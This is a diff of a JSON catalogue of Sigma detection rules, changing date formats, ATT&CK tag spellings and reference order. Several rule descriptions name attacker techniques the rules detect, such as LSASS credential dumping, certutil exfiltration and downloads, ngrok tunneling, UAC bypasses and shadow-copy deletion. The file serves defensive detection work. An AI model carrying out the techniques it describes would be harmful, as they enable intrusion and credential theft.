+39193,7 @@ "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/26", + "creation_date": "2022-08-26", "falsepositive": [ "Unknown" ], @@ -39199,7 +39206,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_sysaidserver_susp_child_process.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1210" ] }, @@ -39219,7 +39226,7 @@ "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", "meta": { "author": "Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/06/26", + "creation_date": "2019-06-26", "falsepositive": [ "Unknown" ], @@ -39233,7 +39240,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -39253,7 +39260,7 @@ "description": "Detects renamed execution of \"Microsoft.NodejsTools.PressAnyKey.exe\", which can be abused as a LOLBIN to execute arbitrary binaries", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2023/04/11", + "creation_date": "2023-04-11", "falsepositive": [ "Unknown" ], @@ -39268,7 +39275,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -39288,7 +39295,7 @@ "description": "Detects the execution of certutil with the \"encode\" flag to encode a file to base64 where the files are located in potentially suspicious locations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "Unknown" ], @@ -39297,14 +39304,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior", "https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior", - "https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior", "https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior", + "https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior", + "https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -39324,7 +39331,7 @@ "description": "Detects the execution of \"whoami.exe\" with the \"/FO\" flag to choose CSV as output format or with redirection options to export the results to a file for later use.", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/28", + "creation_date": "2023-02-28", "falsepositive": [ "Unknown" ], @@ -39334,8 +39341,8 @@ "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_output.yml" ], "tags": [ @@ -39360,7 +39367,7 @@ "description": "Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2022/11/30", + "creation_date": "2022-11-30", "falsepositive": [ "Unknown" ], @@ -39384,7 +39391,7 @@ "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Utilization of this tool should not be seen in enterprise environment" ], @@ -39397,7 +39404,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.004" ] }, @@ -39417,7 +39424,7 @@ "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "Legitimate files with these rare hacktool names" ], @@ -39427,11 +39434,11 @@ "logsource.product": "windows", "refs": [ "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", - "https://www.localpotato.com/", "https://pentestlab.blog/2017/04/13/hot-potato/", "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", "https://github.com/ohpe/juicy-potato", "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://www.localpotato.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_relay_attacks_tools.yml" ], "tags": [ @@ -39455,7 +39462,7 @@ "description": "Detects the execution of \".xbap\" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious \".xbap\" files any bypass AWL\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/01", + "creation_date": "2022-07-01", "falsepositive": [ "Legitimate \".xbap\" being executed via \"PresentationHost\"" ], @@ -39468,7 +39475,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_uncommon_location_exec.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -39489,7 +39496,7 @@ "description": "Detects the execution of a renamed \"jusched.exe\" as seen used by the cobalt group", "meta": { "author": "Markus Neis, Swisscom", - "creation_date": "2019/06/04", + "creation_date": "2019-06-04", "falsepositive": [ "Unknown" ], @@ -39503,7 +39510,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -39523,7 +39530,7 @@ "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), @ROxPinTeddy", - "creation_date": "2020/05/12", + "creation_date": "2020-05-12", "falsepositive": [ "Legitimate administrative use" ], @@ -39532,12 +39539,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner.yml" ], "tags": [ @@ -39569,7 +39576,7 @@ "description": "Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/29", + "creation_date": "2023-08-29", "falsepositive": [ "Unknown" ], @@ -39578,13 +39585,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/", "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir_lolbin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -39604,7 +39611,7 @@ "description": "Detects the use of the Microsoft signed script \"CL_mutexverifiers\" to proxy the execution of additional PowerShell script commands", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), oscd.community, Natalia Shornikova, frack113", - "creation_date": "2022/05/21", + "creation_date": "2022-05-21", "falsepositive": [ "Unknown" ], @@ -39617,7 +39624,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_mutexverifiers.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -39637,7 +39644,7 @@ "description": "Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with suspicious Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "Unknown" ], @@ -39650,7 +39657,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -39670,7 +39677,7 @@ "description": "Detect use of PDQ Deploy remote admin tool", "meta": { "author": "frack113", - "creation_date": "2022/10/01", + "creation_date": "2022-10-01", "falsepositive": [ "Legitimate use" ], @@ -39685,7 +39692,7 @@ ], "tags": [ "attack.execution", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1072" ] }, @@ -39705,7 +39712,7 @@ "description": "Detects potentially suspicious child processes of WinRAR.exe.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/31", + "creation_date": "2023-08-31", "falsepositive": [ "Unknown" ], @@ -39714,8 +39721,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/", "https://github.com/knight0x07/WinRAR-Code-Execution-Vulnerability-CVE-2023-38831/blob/26ab6c40b6d2c09bb4fc60feaa4a3a90cfd20c23/Part-1-Overview.md", + "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_susp_child_process.yml" ], "tags": [ @@ -39739,7 +39746,7 @@ "description": "Detects suspicious base64 encoded and obfuscated \"LOAD\" keyword used in .NET \"reflection.assembly\"", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/03/01", + "creation_date": "2022-03-01", "falsepositive": [ "Unlikely" ], @@ -39748,14 +39755,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-7.0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load_obfusc.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1059.001", "attack.t1027" ] @@ -39783,7 +39790,7 @@ "description": "Detects usage of the \"Import-Module\" cmdlet to load the \"Microsoft.ActiveDirectory.Management.dl\" DLL. Which is often used by attackers to perform AD enumeration.", "meta": { "author": "frack113", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Legitimate use of the library for administrative activity" ], @@ -39792,9 +39799,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", - "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", "https://github.com/samratashok/ADModule", + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", + "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_active_directory_module_dll_import.yml" ], "tags": [ @@ -39810,7 +39817,7 @@ "description": "Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/14", + "creation_date": "2023-02-14", "falsepositive": [ "Unknown" ], @@ -39824,7 +39831,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -39844,7 +39851,7 @@ "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -39857,7 +39864,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -39878,7 +39885,7 @@ "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/14", + "creation_date": "2021-05-14", "falsepositive": [ "Another tool that uses the command line switches of Ngrok", "Ngrok http 3978 (https://learn.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)" @@ -39888,17 +39895,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", - "https://twitter.com/xorJosh/status/1598646907802451969", - "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "https://ngrok.com/docs", + "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/", + "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", + "https://twitter.com/xorJosh/status/1598646907802451969", "https://www.softwaretestinghelp.com/how-to-use-ngrok/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ngrok.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572" ] }, @@ -39918,7 +39925,7 @@ "description": "Detects suspicious renamed SysInternals DebugView execution", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/05/28", + "creation_date": "2020-05-28", "falsepositive": [ "Unknown" ], @@ -39931,7 +39938,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_debugview.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.002" ] }, @@ -39951,7 +39958,7 @@ "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "meta": { "author": "frack113", - "creation_date": "2022/01/16", + "creation_date": "2022-01-16", "falsepositive": [ "Legitimate script" ], @@ -39966,7 +39973,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.007" ] }, @@ -39986,7 +39993,7 @@ "description": "Detects WMI script event consumers", "meta": { "author": "Thomas Patzke", - "creation_date": "2018/03/07", + "creation_date": "2018-03-07", "falsepositive": [ "Legitimate event consumers", "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" @@ -40001,7 +40008,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.003" ] }, @@ -40021,7 +40028,7 @@ "description": "Detects changes to the \"DisableRestrictedAdmin\" registry value in order to disable or enable RestrictedAdmin mode.\nRestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop.\nThis prevents your credentials from being harvested during the initial connection process if the remote server has been compromise\n", "meta": { "author": "frack113", - "creation_date": "2023/01/13", + "creation_date": "2023-01-13", "falsepositive": [ "Unknown" ], @@ -40035,7 +40042,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_disable_restricted_admin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -40055,7 +40062,7 @@ "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", "meta": { "author": "Teymur Kheirkhabarov", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unknown" ], @@ -40064,14 +40071,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://pentestlab.blog/2017/03/30/weak-service-permissions/", + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_change_sevice_image_path_by_non_admin.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -40091,7 +40098,7 @@ "description": "Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/28", + "creation_date": "2023-02-28", "falsepositive": [ "Unknown" ], @@ -40101,8 +40108,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1628720819537936386", - "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings", "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", + "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_allow_service_changes.yml" ], "tags": [ @@ -40126,7 +40133,7 @@ "description": "Detects potential process injection via Microsoft Remote Asssistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics", "meta": { "author": "Alexander McDonald", - "creation_date": "2022/06/24", + "creation_date": "2022-06-24", "falsepositive": [ "Legitimate use of Msra.exe" ], @@ -40135,12 +40142,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", + "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055" ] }, @@ -40160,7 +40167,7 @@ "description": "Detects the malicious use of a control panel item", "meta": { "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)", - "creation_date": "2020/06/22", + "creation_date": "2020-06-22", "falsepositive": [ "Unknown" ], @@ -40174,7 +40181,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.002", "attack.persistence", "attack.t1546" @@ -40203,7 +40210,7 @@ "description": "Detects a suspicious script execution in temporary folders or folders accessible by environment variables", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/02/08", + "creation_date": "2022-02-08", "falsepositive": [ "Unknown" ], @@ -40238,7 +40245,7 @@ "description": "Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/28", + "creation_date": "2022-09-28", "falsepositive": [ "Unknown" ], @@ -40271,7 +40278,7 @@ "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unlikely" ], @@ -40284,7 +40291,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -40304,7 +40311,7 @@ "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\", etc.", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -40338,7 +40345,7 @@ "description": "Detects Windows Installer service (msiexec.exe) spawning \"cmd\" or \"powershell\"", "meta": { "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -40351,7 +40358,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elavated_msi_spawned_shell.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -40371,7 +40378,7 @@ "description": "Detects some Empire PowerShell UAC bypass methods", "meta": { "author": "Ecco", - "creation_date": "2019/08/30", + "creation_date": "2019-08-30", "falsepositive": [ "Unknown" ], @@ -40380,13 +40387,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_uac_bypass.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002", "car.2019-04-001" ] @@ -40407,7 +40414,7 @@ "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/12/22", + "creation_date": "2019-12-22", "falsepositive": [ "Unknown" ], @@ -40420,7 +40427,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -40440,7 +40447,7 @@ "description": "Detects the execution of certutil with the \"encode\" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/02/24", + "creation_date": "2019-02-24", "falsepositive": [ "As this is a general purpose rule, legitimate usage of the encode functionality will trigger some false positives. Apply additional filters accordingly" ], @@ -40449,13 +40456,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -40475,7 +40482,7 @@ "description": "Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "Unknown" ], @@ -40484,16 +40491,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", - "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://twitter.com/egre55/status/1087685529016193025", - "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", + "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -40513,7 +40520,7 @@ "description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", "meta": { "author": "Nik Seetharaman, Christian Burkard (Nextron Systems)", - "creation_date": "2019/07/31", + "creation_date": "2019-07-31", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], @@ -40522,16 +40529,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://github.com/hfiref0x/UACME", "https://twitter.com/hFireF0X/status/897640081053364225", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp_com_object_access.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002", "attack.t1218.003", "attack.g0069", @@ -40561,7 +40568,7 @@ "description": "Detects execution of the built-in script located in \"C:\\Windows\\System32\\gatherNetworkInfo.vbs\". Which can be used to gather information about the target machine", "meta": { "author": "blueteamer8699", - "creation_date": "2022/01/03", + "creation_date": "2022-01-03", "falsepositive": [ "Administrative activity" ], @@ -40604,7 +40611,7 @@ "description": "Detects possible payload obfuscation via the commandline", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/02/15", + "creation_date": "2022-02-15", "falsepositive": [ "Unknown" ], @@ -40638,7 +40645,7 @@ "description": "Shadow Copies deletion using operating systems utilities", "meta": { "author": "Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)" @@ -40648,19 +40655,19 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", 